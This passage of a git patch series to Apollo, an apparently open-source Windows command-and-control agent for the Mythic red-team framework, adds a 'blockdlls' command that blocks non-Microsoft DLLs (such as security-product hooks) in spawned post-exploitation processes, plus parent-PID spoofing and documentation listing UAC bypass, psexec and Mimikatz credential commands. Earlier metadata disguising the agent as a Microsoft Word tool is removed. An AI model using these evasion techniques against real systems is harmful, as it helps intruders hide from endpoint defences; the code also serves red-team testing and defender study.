b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs index bf209453..150c9d9d 100644 --- a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs +++ b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs @@ -53,7 +53,7 @@ internal class SacrificialProcess internal string command { get; private set; } private ProcessInformation processInfo = new ProcessInformation(); private StartupInfo startupInfo = new StartupInfo(); - private STARTUPINFOEX startupInfoEx = new STARTUPINFOEX(); + private StartupInfoEx startupInfoEx = new StartupInfoEx(); private CreateProcessFlags processFlags = CreateProcessFlags.CREATE_UNICODE_ENVIRONMENT; private SecurityAttributes securityAttributes = new SecurityAttributes(); private readonly ManualResetEvent exited = new ManualResetEvent(false); @@ -273,7 +273,8 @@ public bool Start() StandardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); StandardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); - WaitForExitAsync(); + if (PID != 0) + WaitForExitAsync(); return bRet; } @@ -401,8 +402,8 @@ out processInfo StandardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); StandardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); StandardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); - - WaitForExitAsync(); + if (PID != 0) + WaitForExitAsync(); return success; } From 085d54c8a91bf24cde139ab1a728dde5a0f14a93 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 18:29:31 -0700 Subject: [PATCH 04/12] blockdlls functional --- .../apollo/agent_code/Apollo/Apollo.cs | 4 +- .../apollo/agent_code/Apollo/Apollo.csproj | 1 + .../Apollo/CommandModules/BlockDlls.cs | 58 +++++++++++++++++++ .../Apollo/Evasion/EvasionManager.cs | 42 +++++++++----- .../agent_code/Apollo/Native/Constants.cs | 5 +- .../agent_code/Apollo/Native/Methods.cs | 5 ++ .../SacrificialProcess.cs | 37 ++++++++++-- .../apollo/agent_code/Apollo/Tasks/Task.cs | 5 ++ .../mythic/agent_functions/blockdlls.py | 50 ++++++++++++++++ 9 files changed, 183 insertions(+), 24 deletions(-) create mode 100644 Payload_Type/apollo/agent_code/Apollo/CommandModules/BlockDlls.cs create mode 100644 Payload_Type/apollo/mythic/agent_functions/blockdlls.py diff --git a/Payload_Type/apollo/agent_code/Apollo/Apollo.cs b/Payload_Type/apollo/agent_code/Apollo/Apollo.cs index 129c8bff..6371ebc4 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Apollo.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Apollo.cs @@ -22,7 +22,7 @@ class Apollo { #if DEBUG - public static string AgentUUID = "2e3b9405-a923-472e-b7dd-90b562a6354f"; + public static string AgentUUID = "8efc9695-46a7-4f55-ae38-892ec43f3c87"; #endif [STAThread] @@ -38,7 +38,7 @@ static void Main(string[] args) } else { - profile = new DefaultProfile(AgentUUID, "MHrH1Ui9kdUqZqwEZgRGrVHUcwLI4nejWcQL577smKA="); + profile = new DefaultProfile(AgentUUID, "48OJw9IWxquvk58QhHOPV0j562sqMVPKvMMya/dsdng="); } #else DefaultProfile profile = new DefaultProfile(); diff --git a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj index 65ce0d95..acd05e89 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj @@ -121,6 +121,7 @@ + diff --git a/Payload_Type/apollo/agent_code/Apollo/CommandModules/BlockDlls.cs b/Payload_Type/apollo/agent_code/Apollo/CommandModules/BlockDlls.cs new file mode 100644 index 00000000..b3687043 --- /dev/null +++ b/Payload_Type/apollo/agent_code/Apollo/CommandModules/BlockDlls.cs @@ -0,0 +1,58 @@ +#define COMMAND_NAME_UPPER + +#if DEBUG +#undef BLOCKDLLS +#define BLOCKDLLS +#endif + +#if BLOCKDLLS +using System; +using System.Linq; +using System.Text; +using Apollo.Jobs; +using Apollo.Tasks; +using Apollo.Evasion; +using Newtonsoft.Json; + +namespace Apollo.CommandModules +{ + class BlockDlls + { + + public struct BlockDllArgs + { + public bool block; + } + + /// + /// Change the sacrificial process that's spawned for certain post-exploitation jobs + /// such as execute assembly. Valid taskings are spawnto_x64 and spawnto_x86. If the + /// file does not exist or the file is not of an executable file type, the job + /// will return an error message. + /// + /// Job associated with this task. The filepath is specified by job.Task.parameters. + /// Agent this task is run on. + /// + public static void Execute(Job job, Agent agent) + { + Task task = job.Task; + BlockDllArgs args = JsonConvert.DeserializeObject(job.Task.parameters); + + if (EvasionManager.BlockDlls(args.block)) + { + if (args.block) + { + job.SetComplete($"Blocking non-Microsoft-signed DLLs."); + } else + { + job.SetComplete("All DLLs can be loaded into post-ex processes."); + } + } + else + { + job.SetError($"Failed to set block DLLs."); + } + } + } +} +#endif \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs b/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs index 21e3c4bc..37dbae26 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs @@ -4,6 +4,8 @@ #undef SPAWNTO_x86 #undef SPAWNTO_X64 #undef PPID +#undef BLOCKDLLS +#define BLOCKDLLS #define SPAWNTO_X86 #define SPAWNTO_X64 #define PPID @@ -21,17 +23,19 @@ namespace Apollo.Evasion { internal static class EvasionManager { - private static string SpawnTo64 = "C:\\Windows\\System32\\rundll32.exe"; - private static string SpawnTo64Args = ""; - private static string SpawnTo86 = "C:\\Windows\\SysWOW64\\rundll32.exe"; - private static string SpawnTo86Args = ""; - private static int ParentProcessId = System.Diagnostics.Process.GetCurrentProcess().Id; + private static string _spawnTo64 = "C:\\Windows\\System32\\rundll32.exe"; + private static string _spawnTo64Args = ""; + private static string _spawnTo86 = "C:\\Windows\\SysWOW64\\rundll32.exe"; + private static string _spawnTo86Args = ""; + private static int _parentProcessId = System.Diagnostics.Process.GetCurrentProcess().Id; + private static bool _blockDLLs = false; internal struct SacrificialProcessStartupInformation { internal string Application; internal string Arguments; internal int ParentProcessId; + internal bool BlockDlls; } internal static SacrificialProcessStartupInformation GetSacrificialProcessStartupInformation() @@ -39,15 +43,16 @@ internal static SacrificialProcessStartupInformation GetSacrificialProcessStartu SacrificialProcessStartupInformation results = new SacrificialProcessStartupInformation(); if (IntPtr.Size == 8) { - results.Application = SpawnTo64; - results.Arguments = SpawnTo64Args; + results.Application = _spawnTo64; + results.Arguments = _spawnTo64Args; } else { - results.Application = SpawnTo86; - results.Arguments = SpawnTo86; + results.Application = _spawnTo86; + results.Arguments = _spawnTo86; } - results.ParentProcessId = ParentProcessId; + results.ParentProcessId = _parentProcessId; + results.BlockDlls = _blockDLLs; return results; } @@ -57,9 +62,9 @@ internal static bool SetSpawnTo64(string fileName, string args = "") bool bRet = false; if (FileUtils.IsExecutable(fileName)) { - SpawnTo64 = fileName; + _spawnTo64 = fileName; if (!string.IsNullOrEmpty(args)) - SpawnTo64Args = args; + _spawnTo64Args = args; bRet = true; } return bRet; @@ -71,9 +76,9 @@ internal static bool SetSpawnTo86(string fileName, string args = "") bool bRet = false; if (FileUtils.IsExecutable(fileName)) { - SpawnTo86 = fileName; + _spawnTo86 = fileName; if (!string.IsNullOrEmpty(args)) - SpawnTo86Args = args; + _spawnTo86Args = args; bRet = true; } return bRet; @@ -87,10 +92,17 @@ internal static bool SetParentProcessId(int processId) { System.Diagnostics.Process.GetProcessById(processId); bRet = true; - ParentProcessId = processId; + _parentProcessId = processId; } catch { } return bRet; } +#endif +#if BLOCKDLLS + internal static bool BlockDlls(bool status) + { + _blockDLLs = status; + return true; + } #endif } } diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Constants.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Constants.cs index bd2bae42..30b10614 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Constants.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Constants.cs @@ -7,7 +7,7 @@ namespace Native internal static class Constants { #region CONSTANTS - + public const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; public const int HANDLE_FLAG_INHERIT = 1; public static uint STARTF_USESTDHANDLES = 0x00000100; public const UInt32 INFINITE = 0xFFFFFFFF; @@ -44,7 +44,8 @@ internal static class Constants public const uint SECURITY_MANDATORY_HIGH_RID = 0x00003000; public const uint SECURITY_MANDATORY_SYSTEM_RID = 0x00004000; - + public const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007; + public const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; #endregion } diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs index 714328e2..26df9247 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs @@ -666,6 +666,11 @@ public static extern bool UpdateProcThreadAttribute( IntPtr lpPreviousValue, IntPtr lpReturnSize); + [DllImport("kernel32.dll")] + public static extern bool DeleteProcThreadAttributeList( + IntPtr lpAttributeList + ); + [DllImport("kernel32.dll")] internal static extern int GetExitCodeThread( IntPtr hThread, diff --git a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs index 150c9d9d..5b6724a5 100644 --- a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs +++ b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs @@ -133,15 +133,37 @@ private bool Initialize(IntPtr hToken) IntPtr lpSize = IntPtr.Zero; Marshal.WriteIntPtr(lpVal, hParentProc); - - var result1 = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + int dwAttributeCount = evasionArgs.BlockDlls ? 2 : 1; + var result1 = InitializeProcThreadAttributeList(IntPtr.Zero, dwAttributeCount, 0, ref lpSize); startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); - if (InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 1, 0, ref lpSize)) - { + if (InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, dwAttributeCount, 0, ref lpSize)) + { + + // BlockDLLs + if (evasionArgs.BlockDlls) + { + var lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); + + Marshal.WriteInt64( + lpMitigationPolicy, + PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON + ); + + UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, + lpMitigationPolicy, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero + ); + } + if (UpdateProcThreadAttribute( startupInfoEx.lpAttributeList, 0, - (IntPtr)0x00020000, + (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpVal, (IntPtr)IntPtr.Size, IntPtr.Zero, @@ -542,6 +564,11 @@ private void WaitForExitAsync() startupInfo.hStdOutput.Close(); startupInfo.hStdError.Close(); startupInfo.hStdInput.Close(); + if (startupInfoEx.lpAttributeList != IntPtr.Zero) + { + DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList); + Marshal.FreeHGlobal(startupInfoEx.lpAttributeList); + } }); thr.Start(); } diff --git a/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs b/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs index 38a5a729..cdcf0c54 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs @@ -1,6 +1,8 @@ #define COMMAND_NAME_UPPER #if DEBUG +#undef BLOCKDLLS +#define BLOCKDLLS #undef PPID #define PPID #undef BYPASSUAC @@ -489,6 +491,9 @@ public class Task #if PPID { "ppid", "Ppid" }, #endif +#if BLOCKDLLS + { "blockdlls", "BlockDlls" }, +#endif }; } diff --git a/Payload_Type/apollo/mythic/agent_functions/blockdlls.py b/Payload_Type/apollo/mythic/agent_functions/blockdlls.py new file mode 100644 index 00000000..b06fb147 --- /dev/null +++ b/Payload_Type/apollo/mythic/agent_functions/blockdlls.py @@ -0,0 +1,50 @@ +from mythic_payloadtype_container.MythicCommandBase import * +import json + + +class BlockDllsArguments(TaskArguments): + + def __init__(self, command_line): + super().__init__(command_line) + self.args = { + "block": CommandParameter(name="Block Non-Microsoft DLLs", type=ParameterType.Boolean, required=True, default_value=True), + } + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("No PPID given on command line.") + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + cmd = self.command_line.strip().lower() + if cmd == "true" or cmd == "on": + self.add_arg("block", True, ParameterType.Boolean) + elif cmd == "false" or cmd == "off": + self.add_arg("block", False, ParameterType.Boolean) + else: + raise Exception("Invalid command line arguments for blockdlls.") + + +class BlockDllsCommand(CommandBase): + cmd = "blockdlls" + needs_admin = False + help_cmd = "blockdlls" + description = "Block non-Microsoft DLLs from loading into sacrificial processes." + version = 1 + is_exit = False + is_file_browse = False + is_process_list = False + is_download_file = False + is_upload_file = False + is_remove_file = False + author = "@djhohnstein" + argument_class = BlockDllsArguments + attackmapping = ["T1055"] + + async def create_tasking(self, task: MythicTask) -> MythicTask: + block = task.args.get_arg("block") + task.display_params = "{}".format(block) + return task + + async def process_response(self, response: AgentResponse): + pass \ No newline at end of file From e296d6e1e2fa12fc285746dbf5b3b3f42502d165 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 18:30:19 -0700 Subject: [PATCH 05/12] revised display params --- Payload_Type/apollo/mythic/agent_functions/blockdlls.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Payload_Type/apollo/mythic/agent_functions/blockdlls.py b/Payload_Type/apollo/mythic/agent_functions/blockdlls.py index b06fb147..b13816aa 100644 --- a/Payload_Type/apollo/mythic/agent_functions/blockdlls.py +++ b/Payload_Type/apollo/mythic/agent_functions/blockdlls.py @@ -43,7 +43,10 @@ class BlockDllsCommand(CommandBase): async def create_tasking(self, task: MythicTask) -> MythicTask: block = task.args.get_arg("block") - task.display_params = "{}".format(block) + if block: + task.display_params = "on" + else: + task.display_params = "off" return task async def process_response(self, response: AgentResponse): From 80579aed0ef9fdc540f67031e9ee8ba24a966c5c Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 18:41:55 -0700 Subject: [PATCH 06/12] readme updates --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 96803f31..3deb1d6b 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,7 @@ Once installed, restart Mythic to build a new agent. Command | Syntax | Description ------- | ------ | ----------- assembly_inject | `assembly_inject [pid] [arch] [assembly] [args]` | Execute .NET assembly in remote process. +blockdlls | `blockdlls [on|off]` | Block non-Microsoft signed DLLs from loading into post-ex jobs. bypassuac | `bypassuac (modal popup)` | Bypass UAC using the trusted mock directory technique. cat | `cat [file]` | Retrieve the output of a file. cd | `cd [dir]` | Change working directory. @@ -62,6 +63,7 @@ psexec | `psexec` | Pivot to a remote computer by creating a new service. Modal psimport | `psimport` | Reigster a powershell script to import on subsequent execution in `powerpick`/`psinject`/`powershell` commands. Can import more than one script (e.g., PowerView and PowerUp can both be loaded simultaneously.) To clear the script imports, use `psclear`. psinject | `psinject [pid] [x86/x64] [command]` | Executes PowerShell in the process specified by `[pid]`. Note: Currently stdout is not captured of child processes if not explicitly captured into a variable or via inline execution (such as `$(whoami)`). pth | `pth` | Modal popup. Use Mimikatz to patch LSASS and import credentials into memory. +ppid | `ppid [pid]` | Set the parent process ID of post-ex jobs to the specified PID. pwd | `pwd` | Print working directory. reg_query_subkeys | `reg_query_subkeys` | Query all subkeys of the specified registry path. Needs to be of the format `HKCU:\`, `HKLM:\`, or `HKCR:\`. reg_query_values | `reg_query_values` | Query all values of the specified registry path. Needs to be of the format `HKCU:\`, `HKLM:\`, or `HKCR:\`. From da384cd92ee7b63893d5f98e0a49938b7b3f9591 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 18:45:44 -0700 Subject: [PATCH 07/12] change help cmd --- Payload_Type/apollo/mythic/agent_functions/blockdlls.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/mythic/agent_functions/blockdlls.py b/Payload_Type/apollo/mythic/agent_functions/blockdlls.py index b13816aa..c8bd1e75 100644 --- a/Payload_Type/apollo/mythic/agent_functions/blockdlls.py +++ b/Payload_Type/apollo/mythic/agent_functions/blockdlls.py @@ -28,7 +28,7 @@ async def parse_arguments(self): class BlockDllsCommand(CommandBase): cmd = "blockdlls" needs_admin = False - help_cmd = "blockdlls" + help_cmd = "blockdlls [on|off]" description = "Block non-Microsoft DLLs from loading into sacrificial processes." version = 1 is_exit = False From 049da548bd3b253ff9c022eb7ed2121866e8c2e2 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 18:54:10 -0700 Subject: [PATCH 08/12] documentation updates --- documentation-payload/apollo/commands/_index.md | 2 ++ .../apollo/commands/blockdlls.md | 17 +++++++++++++++++ documentation-payload/apollo/commands/ppid.md | 17 +++++++++++++++++ 3 files changed, 36 insertions(+) create mode 100644 documentation-payload/apollo/commands/blockdlls.md create mode 100644 documentation-payload/apollo/commands/ppid.md diff --git a/documentation-payload/apollo/commands/_index.md b/documentation-payload/apollo/commands/_index.md index a70c61c2..9b1a0591 100644 --- a/documentation-payload/apollo/commands/_index.md +++ b/documentation-payload/apollo/commands/_index.md @@ -71,6 +71,8 @@ pre = "2. " * [reg_query_values](/agents/apollo/commands/reg_query_values/) * [reg_write_value](/agents/apollo/commands/reg_write_value/) - Evasion Management + * [blockdlls](/agents/apollo/commands/blockdlls) + * [ppid](/agents/apollo/commands/ppid) * [spawnto_x64](/agents/apollo/commands/spawnto_x64/) * [spawnto_x86](/agents/apollo/commands/spawnto_x86/) * [get_current_injection_technique](/agents/apollo/commands/get_current_injection_technique/) diff --git a/documentation-payload/apollo/commands/blockdlls.md b/documentation-payload/apollo/commands/blockdlls.md new file mode 100644 index 00000000..857a582c --- /dev/null +++ b/documentation-payload/apollo/commands/blockdlls.md @@ -0,0 +1,17 @@ ++++ +title = "blockdlls" +chapter = false +weight = 103 +hidden = true ++++ + +## Summary +Prevent non-Microsoft signed DLLs from loading into post-exploitation jobs. + +## Usage +``` +blockdlls [on|true|off|false] +``` + +## Detailed Summary +The `blockdlls` command will set the process mitigation policy to Microsoft-signed only. This is one of two process attributes you can set in fork and run jobs, and is set via the StartupInfoEx structure. \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ppid.md b/documentation-payload/apollo/commands/ppid.md new file mode 100644 index 00000000..baa8311e --- /dev/null +++ b/documentation-payload/apollo/commands/ppid.md @@ -0,0 +1,17 @@ ++++ +title = "ppid" +chapter = false +weight = 103 +hidden = true ++++ + +## Summary +Set the parent process to the specified process identifier for all post-exploitation jobs. + +## Usage +``` +ppid [pid] +``` + +## Detailed Summary +The `ppid` command will set the parent process to the specified process identifier for all post-exploitation jobs. This is one of two attributes you can set for fork-and-run jobs, which all start up using the StartupInfoEx structure. \ No newline at end of file From 7d53a7a2e13c431dad83cc231dc58403fcc95c08 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 20:21:28 -0700 Subject: [PATCH 09/12] doc changes --- documentation-payload/apollo/opsec.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/documentation-payload/apollo/opsec.md b/documentation-payload/apollo/opsec.md index dbf7c2dc..8ddecac5 100644 --- a/documentation-payload/apollo/opsec.md +++ b/documentation-payload/apollo/opsec.md @@ -56,6 +56,8 @@ The following commands interact with the Service Control Manager of the current ## Evasion +Apollo implements a handful of evasion commands to help an operator execute post-exploitation jobs on target. You can change parent-child process relationships by spoofing parent process id via [`ppid`](/agents/apollo/commands/spawnto_x86), block non-Microsoft signed DLLs from loading into your sacrificial processes via [`blockdlls`](/agents/apollo/commands/blockdlls/), and changing what applications you can spawn and inject into via [`spawnto_x64`](/agents/apollo/commands/spawnto_x64/) and [`spawnto_x86`](/agents/apollo/commands/spawnto_x86/) + ### Spawnto For commands listed under `Post-Exploitation Jobs`, there will be a sacrificial process spawned as part of Apollo's fork and run architecture. This process is set to `C:\Windows\System32\rundll32.exe` by default, but can be changed with the following commands: From 6ad6e20517312857593f6c0b515415993c1a29bf Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 20:29:52 -0700 Subject: [PATCH 10/12] changing description of assembly --- .../agent_code/Apollo/Properties/AssemblyInfo.cs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/Payload_Type/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs b/Payload_Type/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs index 4b7479d0..dda26a32 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("DebugAnalysis")] -[assembly: AssemblyDescription("Debug Analysis for Microsoft Word")] +[assembly: AssemblyTitle("Apollo")] +[assembly: AssemblyDescription("Mythic Agent for Windows")] [assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyProduct("DebugAnalysis")] -[assembly: AssemblyCopyright("Copyright © 2014")] +[assembly: AssemblyCompany("SpecterOps (@djhohnstein)")] +[assembly: AssemblyProduct("Apollo")] +[assembly: AssemblyCopyright("")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] From b113e5ffe95766c7b5f38be8284c73a8ad068e37 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 20:37:36 -0700 Subject: [PATCH 11/12] changing help of ppid and version number --- Payload_Type/apollo/mythic/agent_functions/ppid.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/mythic/agent_functions/ppid.py b/Payload_Type/apollo/mythic/agent_functions/ppid.py index baf6cca3..b343bbc8 100644 --- a/Payload_Type/apollo/mythic/agent_functions/ppid.py +++ b/Payload_Type/apollo/mythic/agent_functions/ppid.py @@ -25,9 +25,9 @@ async def parse_arguments(self): class PpidCommand(CommandBase): cmd = "ppid" needs_admin = False - help_cmd = "ppid [path] [args]" - description = "Change the default binary used in post exploitation jobs to [path]. If [args] provided, the process is launched with those arguments." - version = 2 + help_cmd = "ppid [pid]" + description = "Change the parent process for post-ex jobs by the specified pid." + version = 1 is_exit = False is_file_browse = False is_process_list = False From 9de51dbb890d70c8c9ffd9271783d40a45232ea2 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Tue, 24 Aug 2021 20:38:04 -0700 Subject: [PATCH 12/12] updating apollo version number --- Payload_Type/apollo/mythic/agent_functions/builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/mythic/agent_functions/builder.py index 82dcb8ba..39f7f900 100644 --- a/Payload_Type/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/mythic/agent_functions/builder.py @@ -13,7 +13,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "1.1.2" + version = "1.2.0" wrapper = False wrapped_payloads = ["service_wrapper"] note = """